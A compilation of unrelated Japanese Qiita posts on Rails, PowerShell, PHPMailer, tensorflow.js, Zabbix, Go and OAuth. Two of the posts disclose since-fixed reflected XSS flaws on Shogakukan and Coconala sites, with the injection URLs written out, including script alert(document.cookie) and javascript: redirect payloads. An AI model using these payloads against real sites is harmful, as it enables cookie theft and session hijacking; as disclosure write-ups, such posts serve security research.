OmniAICreator/Qiita-1.07M huggingface dataset:
小学館にあったXSS

今は直っている。スクショとかは撮っていなかった。

## 小学館コミック (https://comics.shogakukan.co.jp/)

2017年8月の話。

検索ボックスで以下のようにXSSができた。
検索ボックスにマウスカーソルを合わせると発火。

- [http://comics.shogakukan.co.jp/search?q="onmouseover=alert(1)>](http://comics.shogakukan.co.jp/search?q="onmouseover=alert(1)>)


**今も残ってるバグ**

<img width="1528" alt="スクリーンショット 2018-10-22 9.41.18.png" src="https://qiita-image-store.s3.amazonaws.com/0/148619/ccc0cb2e-f62f-6979-ea23-3add95635bf6.png">

絵文字とかで検索するとなんかDBがエラー吐く。


## 小学館のWebサイト (https://www.shogakukan.co.jp/)

2018年2月の話。

<img width="222" alt="スクリーンショット 2018-10-22 9.46.00.png" src="https://qiita-image-store.s3.amazonaws.com/0/148619/080e4434-5ecb-fa26-7053-87318fe9de6a.png">

↑当時はここの\<a>タグのonclickイベントに、URLの値の一部がシングルクォートのエスケープなしで反映されるようになっていた。

```html
<a class="icon window extlink"
   href="http://jinji.shogakukan.co.jp/arbeit/" target="_blank"
   onclick="ga('send','event',
               'Outbound Links',
               '${URLのhttps://www.shogakukan.co.jp/search/site/ 以下の値}');">
   アルバイト情報
</a>
```

そこで例えば以下のようなURLを注入することでDOM based XSS(?)ができた。
確かブラウザのXSSフィルタに引っかからなかったはず。

- https://www.shogakukan.co.jp/search/site/');alert('redirect');location.href='https://www.google.co.jp/';return''==1;('

↑のURLが注入されるとDOMは以下のようになる。

```html
<a class="icon window extlink"
   href="http://jinji.shogakukan.co.jp/arbeit/" target="_blank"
   onclick="ga('send','event',
               'Outbound Links',
               '');  // ← ga()の文が閉じられる
            alert('redirect');location.href='https://www.google.co.jp/';return''==1;
            ('');">
   アルバイト情報
</a>
</a>
```



## 小学館eコミックストア (https://csbs.shogakukan.co.jp/)

2018年2月の話。

検索画面とログイン画面で以下のようにXSSができた。

- [https://csbs.shogakukan.co.jp/search/index?type=all&word=a&cc_id=&layout=">\<script>alert(document.cookie)\</script>](https://csbs.shogakukan.co.jp/search/index?type=all&word=a&cc_id=&layout="><script>alert(document.cookie)</script>
)
- [https://csbs.shogakukan.co.jp/collection?key=コロコロコミック&order=">\<script>alert(document.cookie);\</script>](https://csbs.shogakukan.co.jp/collection?key=コロコロコミック&order="><script>alert(document.cookie);</script>)
- [https://csbs.shogakukan.co.jp/search/index?word=a&cc_id=">\<script>alert(document.cookie)\</script>](https://csbs.shogakukan.co.jp/search/index?word=a&cc_id="><script>alert(document.cookie)</script>)
- [https://csbs.shogakukan.co.jp/search/index?type=">\<script>alert(document.cookie)\</script>&word=a](https://csbs.shogakukan.co.jp/search/index?type="><script>alert(document.cookie)</script>&word=a)
- [https://csbs.shogakukan.co.jp/login/start-login?return_url=javascript:alert(document.cookie)
;](https://csbs.shogakukan.co.jp/login/start-login?return_url=javascript:alert(document.cookie)
;)
Macのアプリがクラッシュしたときにダイアログではなく通知を表示する設定

Macがクラッシュしたときにダイアログではなく、通知センターで通知を受け取るようにする設定。

```
defaults write com.apple.CrashReporter UseUNC 1
```

いきなりダイアログが出るとうっとうしいと感じるときはおすすめ。

## Before

<img width="520" alt="Screen Shot 2018-10-22 at 10.27.05.png" src="https://qiita-image-store.s3.amazonaws.com/0/889/b0e0fc16-d318-6eff-2d28-3669c14c205e.png">


## After

<img width="396" alt="Screen Shot 2018-10-22 at 10.25.57.png" src="https://qiita-image-store.s3.amazonaws.com/0/889/dd1ae0ce-8f43-e0e1-ed89-41d056b2ce93.png">
find_or_initialize_byとfind_or_create_byの違いとは？

`find_or_initialize_by`と`find_or_create_by`がデータ作成時に便利というのはよく聞きます。
ただ最初は違いなど気にせず使うことも多いと思うので、さらっと違いと使い方を書いてみました！

最初に結論から言いますと`find_or_initialize_by`と`find_or_create_by`の違いは
###新規作成して`保存するorしない`です！

|method名 | 役割 |
|:-------------------:|:-----------------------:|
| find_or_initialize_by | 新規作成して保存はしない |
| find_or_create_by | 新規作成後、保存 |


ソースコードは↓です(本家rails/githubより)。
## find_or_initialize_by
```rb
def find_or_initialize_by(attributes, &block)
  find_by(attributes) || new(attributes, &block)
end
```
→引数の条件に該当するデータがあればそれを返し`find_by(attributes)`、そうでなければ新しくインスタンス`new(attributes, &block)`を作成します。

## find_or_create_by
```rb
def find_or_create_by(attributes, &block)
  find_by(attributes) || create(attributes, &block) 
end
```
→引数の条件に該当するデータがあればそれを返す`find_by(attributes)`、なければ新規作成`create(attributes, &block)`します。

後半の`new`と`create`が違いますね。

## 使い道

`find_or_initialize_by`は処理を追加することができます。

```rb
# ex.市町村のマスターデータを更新する
cities = City.find_or_initialize_by(name: '東京') 
if cities.new_record? # 新規データなら保存
  cities.save!
end
```
さらに、追加で情報追加したい時なんかは`update_attributes`を使っています。

```rb
cities = City.find_or_initialize_by(name: '東京') 
if cities.new_record? 
  cities.update_attributes!(romaji: 'tokyo') # ローマ字データ追加
end
```


他にもoauthでユーザー登録する時やマスターデータの一斉作成・更新にも便利らしい。







## 参考リンク
* [find_or_initialize_by](https://github.com/rails/rails/blob/bfea0af4ba7d717d6a065b4370e3ccfd8869dde6/activerecord/lib/active_record/relation.rb#L206)
* [find_or_create_by](https://github.com/rails/rails/blob/bfea0af4ba7d717d6a065b4370e3ccfd8869dde6/activerecord/lib/active_record/relation.rb)
* [[Rails]find_or_create_byとfind_or_initialize_by](https://blog.hello-world.jp.net/ruby/1526/)
* [find_or_create_byとfind_or_initialize_byの違い](https://mom0tomo.hateblo.jp/entry/2018/09/14/151910)
* [Rails4以上で使える `find_or_create_by` `find_or_initialize_by` が便利](https://qiita.com/yusabana/items/1b566f61ca556a482f52)
Windows 容量指定ダミーファイルを複数作成するシェルスクリプト

windowsで負荷テストを行う際に使えるコマンドやシェルスクリプトをご紹介します。

# 環境
以下の環境での動作は確認しています。
Windows7 Enterprise　× Powershell 5.0
Windows10 Pro　× Powershell 5.1

# Windowsでダミーファイル作成コマンド

構文

```
> fsutil file createnew {ファイル名} {ファイル容量(バイト)}
```

以下は、10バイトのファイルを作成する場合の例です。

```
> fsutil file createnew testfile 10
```

# 容量を指定した複数のダミーファイルを作成
複数のファイルを作成する場合には、シェルスクリプトを使うと便利です。
下記をコピーしてpowershellで実行すると、指定した容量の複数のダミーファイルを作成できます。

```createFiles.ps1
Param(
    [Parameter(Mandatory=$true)][string]$path,
    [Parameter(Mandatory=$true)][int]$count,
    [Parameter(Mandatory=$true)][int]$size
)
# ファイル作成または上書き
for ($i = 0; $i -lt $count; $i++) {
    $filePath = $path + "\testFile" + $i
    if (Test-Path $filePath) {
        Remove-Item $filePath;
    }
    fsutil file createnew $filePath $size
}
```

実行コマンド

```
> .\createFiles.ps1 {フォルダパス} {数量} {容量}
```

例）C:\testに100バイトのファイルを10個作成する場合

```
> .\createFiles.ps1 C:\test 10 100
```
WindowsでプロセスIDを取得する

## 概要
WindowsでプロセスIDを取得する方法を記載する。

コードサンプルのとおり、
現在はPowershellで実装するのがベスト。
Batchにて取得しなければならない場合は、tasklistから取得する。

## コードサンプル
10桁にゼロパディングしたプロセスIDを取得する。

### Powershell
```powershell

function Get-ProcessId(){
    $processId = Get-WmiObject win32_process -filter processid=$pid | ForEach-Object{$_.parentprocessid;}
    return $processId.ToString("0000000000")
}
```

### Batch
Windowタイトルからプロセスを特定して取得するサブルーチン。
（※）パディングのため、遅延環境変数を使用している。

``` sh
:GetProcessId
    setlocal enabledelayedExpansion
    set title=myname
    title %title%

    for /f "tokens=2 delims=, usebackq" %%i in (`tasklist /v /nh /fo csv /fi "IMAGENAME eq cmd.exe" ^| findstr /r *%title%*`) do ( set tmppid=0000000000%%~i) 

    set tmppid=!tmppid:~-10!
    endlocal && set pid=%tmppid% 
    
    exit /b %errorlevel%
```
PHPMailerでMailTrapを利用する


特に困ることはないけど、一応メモ。

### MailTrapでアカウントを作って、アクセス情報を取得します。

[MailTrapのサイト](https://mailtrap.io/)でアカウント作ります。
アカウントを作ったら、DemoInboxってのができるので、アクセス情報を確認します。

![mailtrap.png](https://qiita-image-store.s3.amazonaws.com/0/55188/86e90386-a452-c277-be15-6450a80a0bc4.png)


### インストール

composer使います。

```bash
mkdir mailer
cd mailer
composer require phpmailer/phpmailer
```

index.phpってファイル作ってそこに記述する想定。[本家サイト](https://github.com/PHPMailer/PHPMailer)のサンプルを参考に。

```php:index.php
<?php

    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\Exception;

    require 'vendor/autoload.php';

    $mail = new PHPMailer(true);

    try{

        //server
        $mail->SMTPDebug = 2; //本番では0とかにする。
        $mail->isSMTP();
        $mail->Host = 'smtp.mailtrap.io';
        $mail->SMTPAuth = true;
        $mail->Username = 'e398e3xxxxxxxx'; //ここにusername入れる
        $mail->Password = 'bcb019xxxxxxxx'; //ここにpassword入れる
        $mail->SMTPSecure = 'tls';
        $mail->Port = 2525;    

        //Recipients
        $mail->setFrom('from@example.com', 'Mailer'); //アドレスだけでも動きます
        $mail->addAddress('to@example.com', 'Mr To');

        //Content
        $mail->CharSet = 'UTF-8'; //文字化け防止
        $mail->Subject = 'メールのタイトル';
        $mail->Body    = 'メールの本文';

        //送信
        $mail->send();

        echo "send";

    }catch(Exception $e){
        echo "error:".$mail->ErrorInfo;
    }

```

### 確認

プログラムを実行してメールが届くか確認します。

```bash
php index.php
```

うまく行けばメールが届きます。

![mailtrap2.png](https://qiita-image-store.s3.amazonaws.com/0/55188/81fa2093-bd9c-a3fc-0f0e-e162b1d47a54.png)
jsdoでtensorflow.js その10

#概要

jsdoでtensorflow.jsやってみた。
keras風、高級APIを使わないで、coreとか言われるレベルでやってみた。
xor問題、やってみた。

#写真

![image.png](https://qiita-image-store.s3.amazonaws.com/0/18104/61d93f29-8667-fd13-4752-236da14dfa6e.png)

#サンプルコード

```
const xt = tf.tensor2d([[1, 0], [0, 1], [1, 1], [0, 0]], [4, 2]);
const yt = tf.tensor2d([[1, 0], [1, 0], [0, 1], [0, 1]], [4, 2]);

const w1 = tf.variable(tf.randomNormal([2, 6]));
const b1 = tf.variable(tf.zeros([6]));
const w2 = tf.variable(tf.randomNormal([6, 2]));
const b2 = tf.variable(tf.zeros([2]));

function func(x) {
	const h = tf.relu(x.matMul(w1).add(b1));
    return tf.softmax(h.matMul(w2).add(b2));
}

function loss(pred, label) {
	return tf.losses.softmaxCrossEntropy(pred, label).mean();
}

const optimizer = tf.train.sgd(0.1);

for (let i = 0; i < 3000; i++)
{
	const cost = optimizer.minimize(() => loss(func(xt), yt), true);
}

alert(func(xt));

```

#成果物

http://jsdo.it/ohisama1/ihhQ

以上。
dotnet ef でmigrationするとき のコマンド

## 作成したmigrationの一覧
```
dotnet ef migrations list --context SomeContext 
```

## migrationを作成

#### Modelから新しいmigrationを作成
```
dotnet ef migrations add SomeName --context SomeContext 
```

#### migrationをDBに適用
```
dotnet ef database update --context SomeContext
```


## migrationを削除

#### 削除したいmigrationを既にDBに適用した場合、以前のmigrationに戻す
```
dotnet ef database update PreviousMigrationName --context SomeContext 
```

#### 最後に作成したmigrationを削除
```
dotnet ef migrations remove --context SomeContext
```
COTOHA APIの構文解析を手軽に使いたい

# 動機
シャーロック・ホームズのまだらの紐をRDFでナレッジグラフにしてSPARQLで犯人を当てようという[ナレッジグラフ推論チャレンジ](http://challenge.knowledge-graph.jp/) なる素敵な企画があるそうで。
word2vecみたいに何でもかんでもベクトルにしてふわっとやるのもいいんだけど、論理構造から推論して答えを導くというアプローチのほうが説明可能性という面でが望みがある気がしている。
いまいち流行っていないのは、word2vec系の技術は導入が簡単でチュートリアルもそれなりにある一方で、ナレッジグラフの類は、なにか検索したいものに対してこれを構築するのが困難だし検索に使うSPARQLも一癖あって、なかなか敷居が高いからだろう。

何はともあれまずは日本語テキストをRDFで構造化したい。誰が何をどうしたという情報を取ろうとするとmecab,cabochaでは足りなくて述語項構造解析という技術がいるのだけど、
[COTOHA API](https://api.ce-cotoha.com) の構文解析APIでその結果が得られるのでこれを使うことにする。
ただレスポンスがJSONで直感的に使いづらいので、まずはアクセサを作ることにした。

# COTOHA-NLPライブラリ
[cotoha-nlp](https://github.com/obilixilido/cotoha-nlp) で製造中。簡単に動くところまでできたので一旦こちらで紹介する。
そのうちpypiにも登録したい。

## 使い方(暫定版)
```bash
$ git clone https://github.com/obilixilido/cotoha-nlp
$ cd cotoha-nlp
$ pyenv local 3.6.5
$ pipenv --three
$ PIPENV_SHELL=/bin/bash pipenv shell
$ pip install -e .
$ echo "兄の太郎は図書館に行きました" | python example/example.py --client_id [client_id] --client_secret [client secret] --developer_api_base_url https://api.ce-cotoha.com/api/dev/nlp --access_token_publish_url https://api.ce-cotoha.com/v1/oauth/accesstokens
```
pyenv,pipenvは導入済みの想定で。
[client_id] と [client secret]  はCOTOHA APIのサイトにログインすると確認できる。

## サンプルちょっと解説
```python
# パーサを初期化
parser = Parser(client_id, client_secret, developer_api_base_url, access_token_publish_url)

#　パース
s = parser.parse(input())

## 使ってみる
# 入力文そのまま
print(s.form)
#-> 兄の太郎は図書館に行きました

# 述語の文節の表記を取得
print(s.get_predicate().form)
#-> 行きました

# 述語の動作主を取得
print(s.get_predicate().get_children(filter=["agent"])[0].get_chunk_head_token().form)
#-> 太郎

# 述語の動作主を形容している語を取得
print(s.get_predicate().get_children(filter=["agent"])[0].get_chunk_head_token().get_children(filter=["nomd"])[0].form)
#-> 兄

```

なんとなく、親・子の関係が直感的でない気がするけど、[可視化](https://api.ce-cotoha.com/demo?query=%E5%85%84%E3%81%AE%E5%A4%AA%E9%83%8E%E3%81%AF%E5%9B%B3%E6%9B%B8%E9%A4%A8%E3%81%AB%E8%A1%8C%E3%81%8D%E3%81%BE%E3%81%97%E3%81%9F)してみた結果に従った。
cabocha等の普通の係り受け構造の説明だとはツリーが逆転してる([これとか](http://chasen.naist.jp/chaki/t/2005-08-29/doc/CaboCha%20Yet%20Another%20Japanese%20Dependency%20Structure%20Analyzer.htm#usage-tools))けど、ツリー構造として捉えるならこっちのほうが自然だろうと思い。

# 今後
とりあえず誰が何をどうした情報が取れそうなので、適当なテキスト(青空文庫かwikipediaかな)で情報抽出してRDFにしてRDF DBに入れてみる予定。
以前 Apache Jenaを使ったことがあったけど今はAllegroGraphのほうが良いのかな？
あとcotoha-nlpもテスト等充実しないと...
RailsにてNoMethodError: undefined method `assets' for で怒られる

Capistranoでデプロイしていたら、assetsで怒られる
RailsのAPIモードで作成したから？

よくわからないけど、`deploy:assets:precompile`でこける

```
NoMethodError: undefined method `assets' for #<Rails::Application::Configuration:0x0000555de687c348>
Did you mean?  asset_host
```

require "sprockets/railtie”のコメントアウトを外せば動きました

``` ruby:config/application.rb
require "sprockets/railtie”
```

でも普通外れてるっぽい
--skip-sprockets で作成したからコメントアウトされたのかな
ココナラにあったXSS

2018年7月ごろまでココナラにあった反射型のXSS。
スクショとかは撮っていなかった。

- [https://coconala.com/categories/191?layout=">\<script>alert(1)\</script>](https://coconala.com/categories/191?layout="><script>alert(1)</script>)
- [https://coconala.com/categories/191?pro_priority_display=">\<script>alert(1)\</script>](https://coconala.com/categories/191?pro_priority_display="><script>alert(1)</script>)


6月にXSSを見つけて、他のココナラについての問い合わせと一緒にサポートに連絡した。
XSSについては関連部署に伝えるとのことだったが、報告してから丸1ヶ月間XSSはそのまま残っていた。

サポートにXSSを伝えても無駄だと思ったので、Twitterでココナラの取締役を見つけてDMでXSSを報告した。
たしかそれから1週間くらいでXSSは直ったと思う。

ついでにココナラのクソな仕様について不満を書いたらそっちは無視された。
php-master-changes 2018-10-21

今日は ext/mbstring 内の一部処理の単純化、.gitattributes の整理、ICU 63.1 へのテストの対応、システム版の libxmlrpc が使われるケースでのバグ修正、現状とあってないドキュメントの修正、Makefile.frag の整理統合があった！

# 2018-10-21
## codemascot: Simplify mb_gpc() code
- https://github.com/php/php-src/commit/36ae074036654edf2aff7ad02ce4bcf69f1c7cb0
- ext/mbstring の処理を単純化
- 同じ関数内で他が switch なのにここだけ if/else だったし無駄な初期値への代入もあった

## petk: Fix .gitattributes
- https://github.com/php/php-src/commit/04be076a5d8bf17010299f36bf7315cdd4504983
- .gitattributes の修正
- 一部の .phpt へ指定されていた（だいぶ前から非推奨の） -crlf を除去
- テスト自体は実行前に run-tests.php が LF へ統一するので、実行結果に影響なし
- 一部制御文字を含むためバイナリ扱いとなるファイルがあるので、diff 出力を強制するのに .phpt へ -diff を指定
- .gitattributes へコメントを付けた

## weltling: Fix tests for ICU 63.1
- https://github.com/php/php-src/commit/4461fb9c26463e4851f7181baa2ba137c6edb1b2
- [7.1~]
- ICU 63.1 用にテストの修正
- [このへん](http://unicode.org/pipermail/unicode/2018-September/007028.html) かな

## cmb69: Fix [#75282](https://bugs.php.net/bug.php?id=75282): xmlrpc_encode_request() crashes
- https://github.com/php/php-src/commit/502b187ae8cbd24f4d8c05b8a3c4e52079314bbd
- [7.2~]
- ext/xmlrpc で [xmlrpc_encode_request()](http://php.net/manual/ja/function.xmlrpc-encode-request.php) が debian / ubuntu など で動かなかったりした問題の修正
- php は libxmlrpc を zend memory manager を使うようパッチしたバージョンをバンドルして使ってる
- バンドルのでなくシステム版の libxmlrpc が使われるようなディストリビューションで malloc() された領域を efree() するようになってた
- HAVE_XMLRPC_BUNDLED というマクロを導入して解放処理を切り替えられるよう修正

## petk: [ci skip] Remove automake and aclocal in comments
- https://github.com/php/php-src/commit/f8fb45facff5eaa266e0061a86d572ba7be9133c
- ドキュメント / コメントの automake / aclocal を使っているかのような記述を修正
- 古いビルドシステムでは automake と aclocal を使っていたが、今はどこでも使わなくなっていた

## petk: Defragment two Zend related Makefile fragments together
- https://github.com/php/php-src/commit/8217cd20f1e526052b23aa31cbafe8060b653287
- Makefile.frag と Zend/Makefile.frag があったのを Zend/Makefile.frag へ統合
Windows サーバ に Zabbix Agent 4.0.0 を インストールする方法

1.Zabbix Agent の ダウンロード
=============================

[ダウンロードサイト](https://www.zabbix.com/download_agents) から 例えば 64bit サーバならば「[zabbix_agents-4.0.0-win-amd64.zip](https://www.zabbix.com/downloads/4.0.0/zabbix_agents-4.0.0-win-amd64.zip)」をダウンロードしてください。


2.Program Filesに配置
======================

Program Files の 直下に zabbix_agents 用のフォルダーを作成してください。

```powershell:zabbix_agents配置場所

cd  'C:\Program Files\'
mkdir zabbix_agents
```

作成したフォルダーの直下に zabbix_agents-4.0.0-win-amd64.zip を展開して、うまく切り取りなどをして「bin, conf」を配置してください。最後に logs もここに作成してください。(Dドライブとかがある場合は logs をそこに作ってください。)

```powershell:zabbix_agentsディレクトリ構成

C:\Program Files\zabbix_agents
 ∟ bin
 ∟ conf
 ∟ logs(新規作成)
```


3.実行権限を変更
===============

zabbix_agentsのアプリケーションの実行を管理者権限で行えるように変更してください。

```powershell:zabbix_agentsアプリケーション

C:\Program Files\zabbix_agents\bin
 ∟ zabbix_agentd.exe
 ∟ zabbix_get.exe
 ∟ zabbix_sender.exe
```

右クリック→プロパティ→互換性

![kanri_sya.PNG](https://qiita-image-store.s3.amazonaws.com/0/45117/114c0a4b-4a90-3367-20e1-02e1d4be0968.png)


4.zabbix_agentd.confを修正
==========================

まずは zabbix_agentd.win.conf の ファイル名を zabbix_agentd.conf に リネームしてください。

```powershell:リネーム

PS> Rename-Item zabbix_agentd.win.conf -newName zabbix_agentd.conf
```

次に zabbix_agentd.conf の 中身を修正してください。

```powershell:zabbix_agentd.conf

LogFile=C:\Program Files\zabbix_agents\logs\zabbix_agentd.log
・・・
Server=Zabbix サーバIP or Host
・・・
ServerActive=Zabbix サーバIP or Host
・・・
#Hostname=Windows host
・・・
HostnameItem=system.hostname
```


5.FirewallのPort解放
====================

受信の規則に 10050 ポートを開ける設定をしてください。


6.サービス登録
=============

サービス登録用のコマンドを実行してください。実行する際に zabbix_agentd.conf の 指定を忘れずに行ってください。

```powershell:サービス登録

PS> cd 'C:\Program Files\zabbix_agents\bin'
PS> .\zabbix_agentd --config 'C:\Program Files\zabbix_agents\conf\zabbix_agentd.conf' --install
```


7.サービス起動
=============

タスクマネージャからサービスを起動してください。


8.Zabbixの設定
==============

最後に Zabbix サーバ側に今回 zabbix_agents を設定した Windows サーバを登録してください。

![zabbix.png](https://qiita-image-store.s3.amazonaws.com/0/45117/b8010f07-5c61-df72-4b92-a0f51f46913f.png)
改行の統一

```ruby
irb(main):001:0> "\r\n\n".gsub(/\r\n/, "\n")
=> "\n\n"
irb(main):002:0> "\r\n\n".gsub(/\R/, "\n")
=> "\n\n"
```

正規表現 (Ruby 2.5.0) https://docs.ruby-lang.org/ja/latest/doc/spec=2fregexp.html
goroutine内でのタイマー処理

# 目的
goroutine内で定期的な処理を行いながら，外部からのチャネル受信を待つ，という様な処理をしたい．

# 方法
```time.Ticker``` を利用する．
以下のページを参照させていただきました．
https://qiita.com/ruiu/items/1ea0c72088ad8f2b841e
http://text.baldanders.info/golang/ticker/

```go:main.go
package main

import (
	"time"
	"log"
	"sync"
)

func main(){
	wg := sync.WaitGroup{}
	ch := make(chan struct{})
	wg.Add(1)
	go func(){
		t := time.NewTicker(2 * time.Second) // 2秒おきに通知
		defer func (){
			wg.Done()
			t.Stop()
		}()
		for {
			select{
			case <-t.C:
				log.Println("2sec interval")
			case _, ok := <- ch:
				if !ok {
					return
				}
				log.Println("1sec interval")
			}
		}
	}()
        
	for i := 0; i < 10; i ++ {
		time.Sleep(time.Second * 1)
		ch <- struct{}{}
	}
	close(ch)
	wg.Wait()
}
```
出力は以下の通り．

```:出力
2018/10/22 07:57:42 1sec interval
2018/10/22 07:57:43 2sec interval
2018/10/22 07:57:43 1sec interval
2018/10/22 07:57:44 1sec interval
2018/10/22 07:57:45 2sec interval
2018/10/22 07:57:45 1sec interval
```

# ダメだった方法1
```time.Sleep()``` を利用する方法．当たり前のことだが，default内で処理がブロックしてしまい，channelからの受信がうまくいっていない．

```go:for内部のみ
for {
	select{
	case _, ok := <- ch:
		if !ok {
			return
		}
		log.Println("1sec interval")
	default:
		log.Println("2sec interval")
		time.Sleep(2 * time.Second)   //ここで処理がブロック
	}
}
```

```:出力
2018/10/22 08:21:12 1sec interval
2018/10/22 08:21:12 2sec interval
2018/10/22 08:21:14 1sec interval
2018/10/22 08:21:14 2sec interval
2018/10/22 08:21:16 1sec interval
2018/10/22 08:21:16 2sec interval
```

# ダメだった方法2
```time.After ()```を利用．N時刻後にチャネルからメッセージが送られてくるという理解なので，なぜこれで動かないのか不明．

```go:for内部のみ
for {
	select{
	case <- time.After(2 * time.Second):
		log.Println("2sec interval")
	case _, ok := <- ch:
		if !ok {
			return
		}
		log.Println("1sec interval")
	}
}
```

```:出力
2018/10/22 08:34:54 1sec interval
2018/10/22 08:34:55 1sec interval
2018/10/22 08:34:56 1sec interval
2018/10/22 08:34:57 1sec interval
2018/10/22 08:34:58 1sec interval
```
SATySFiでリストを書く・連結する・分割する

```
@require: stdja

let-inline ctx \unwrap joint =
  match joint with
    % matchで分割できる
    | weed :: paper :: [] -> read-inline ctx (embed-string (weed ^ `と` ^ paper))
    | _ -> read-inline ctx (embed-string `ここに到達することはない`)

let-inline ctx \smoke joint =
  % letでも分割できる
  let (weed :: paper :: []) = joint in
  read-inline ctx (embed-string (`火のついた` ^ weed ^ `と` ^ paper))
in

document (|
  author = { Seiei MIYAGI };
  show-title = true;
  show-toc = false;
  title = { SATySFiでリストを書く・連結する・分割する }
|) '<
  +p {
    % 角括弧の中に要素を書く、各要素は;で区切る
    \unwrap([`草`; `紙`]);
    は
    % ::を使うとリストに要素を連結できる、[]は空リスト
    \unwrap(`草` :: `紙` :: []);
    と同じ
  }
  +p {
    \smoke([`草`; `紙`]);
  }
>
```

## 実行結果

![Screenshot from 2018-10-22 08-32-49.png](https://qiita-image-store.s3.amazonaws.com/0/2074/c91cdca2-8fbe-fd86-c3f6-9a158fa5d003.png)
jsdoでtensorflow.js その9

#概要

jsdoでtensoefllow.jsやってみた。
tensorflow.jsで学習した、ウェイトとバイアスを使って、arduinoでsin回帰してみた。

#写真

![image](https://qiita-image-store.s3.amazonaws.com/0/18104/33179e6a-bb1b-2fc9-aaac-a74c86847ddc.png)

#サンプルコード

```
double w1[12] = {0.6203325, -1.027319, 1.8841791, -3.2817535, 1.2214272, 0.9679314, 1.4196726, 7.171823, 1.3714954, 3.7268815, 0.0598045, 1.1944624};
double b1[12] = {1.1656082, -2.0180476, -6.9387307, 3.3653135, -1.7032033, -2.8969588, 0.0565524, -9.5316219, -5.7146306, -2.8060255, -0.3085915, -6.3642092};
double w2[12] = {-1.2655445, -1.0401167, 0.2071615, -0.4695872, -2.6633599, -0.5835096, 1.2490041, 1.2825323, -1.5088843, 0.6767025, 0.0224434, 1.6849496};
double b2 = -0.2928229;
int i;

double tanh(double x) 
{
	if (x > 20) return 1.0;
	else if (x < -20) return -1.0;
	else
	{
		double a = exp(x);
		double b = exp(-x);
		return (a - b) / (a + b);
	}
}

void setup()
{
	Serial.begin(115200);
	i = 0;
}
void loop()
{
	int j;
	i++;
	if (i > 20) i = 0;
	double x = i / 3.0;
	double sum = 0;
	double d[12] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
	for (j = 0; j < 12; j++)
	{
		d[j] += w1[j] * x + b1[j];
	}
	for (j = 0; j < 12; j++)
	{	
		d[j] = tanh(d[j]);
	}
	for (j = 0; j < 12; j++)
	{
		sum += w2[j] * d[j];
	}
	sum += b2;
	sum = tanh(sum);
	Serial.println(sum);
}


```

#成果物



以上。
[C/C++] プリプロセス時テキストファイル読み込み

# 概要

タイトルからしてゴミ記事の予感がしますが、ご覧の通り、プリプロセッサの処理時にテキストファイルを読み込む方法です。

# 実装

実装は非常に単純です。

```cpp
int data[] = {
#include "data.csv"
};
```

C/C++の`#include`は単なるコピペマシーンにすぎませんから、ヘッダー以外のものも読み込めます。

# 使い道

例えば、`unsigned char`型のビット列の中で1の数を数えたいとします。~~最も高速な~~方法は、長さ256のlook up tableを用意することでしょう。

<font color="gray">※@fujitanozomuさんから教えて頂いた情報によると、popcnt命令を直接呼び出すほうが速いそうです。</font>

```cpp
int count1s2(unsigned char byte) {
    static const int ones[256] =  {
        0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,
        1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,
        1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,
        2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,
        1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,
        2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,
        2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,
        3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,4,5,5,6,5,6,6,7,5,6,6,7,6,7,7,8
    };

    return ones[(int)byte];
}
```

しかしこれではソースコードが醜くなり、他者が読むには適していません。そこで、このlook up tableを別ファイルに保存し、プリプロセッサで読み込んでしまいます。

```cpp
int count1s2(unsigned char byte) {
    static const int ones[256] =  {
#include "ones_look_up_table"
    };

    return ones[(int)byte];
}
```

これで少しは？見やすくなったでしょう。
Google ColaboratoryでGPUの割当に失敗する件

Google Colaboratory便利ですね。私は最近機械学習の勉強を趣味で始めたのですが、もはやGoogle Colaboratoryなしではこの趣味成り立たないです。自宅で使ってる端末、2011年のMacbook Airなんで、ローカルでDeep Learningなんてやった日にはファンが永遠にうなり続けて計算終わりません。無料でGPU使わせてくれるGoogleまじ神。

なんですが、たまに「バックエンドを割り当てられませんでした」というメッセージが出てGPUの環境に接続できないときがあり、困っています。調べたところ全体のGPUのリソースが枯渇して、キックされている状態のようです。暫く待つしか方法がないとか… 無料だししょうがないか…

感覚的には、日本の夜中（米国は日中）は上記になることが多く、夜中に回してた計算も途中で止まったりします。米国のユーザが多いからでしょうか。逆に日本の日中（米国は夜中）は解決することが多いです。仕事中に計算しよう。そうしよう。

参考URL
https://github.com/googlecolab/colabtools/issues/65
OAuth 2.0 のフローとクライアントタイプの関係

[RFC 6749](https://tools.ietf.org/html/rfc6749)（The OAuth 2.0 Authorization Framework）が定義する 4 つのアクセストークン発行フローと、クライアントタイプ（RFC 6749, [2.1. Client Type](https://tools.ietf.org/html/rfc6749#section-2.1)）の組み合わせについて、誤解を招くことが多いので、簡潔にまとめます。

仕様上、フローとクライアントタイプの組み合わせのうち、**明示的に禁止されているのは、クライアントクレデンシャルズフローと Public クライアントの組み合わせだけです**。これを表にすると次のようになります。

<table>
<tr>
  <th rowspan="2">フロー</th>
  <th colspan="2">クライアントタイプ</th>
</tr>
<tr>
  <th>Confidential</th>
  <th>Public</th>
</tr>
<tr>
  <td>認可コード</td>
  <td>○ 利用可能</td>
  <td>○ 利用可能</td>
</tr>
<tr>
  <td>インプリシット</td>
  <td>○ 利用可能</td>
  <td>○ 利用可能</td>
</tr>
<tr>
  <td>リソースオーナーパスワード<br/>クレデンシャルズ</td>
  <td>○ 利用可能</td>
  <td>○ 利用可能</td>
</tr>
<tr>
  <td>クライアント<br/>クレデンシャルズ</td>
  <td>○ 利用可能</td>
  <td>× 利用不可</td>
</tr>
</table>

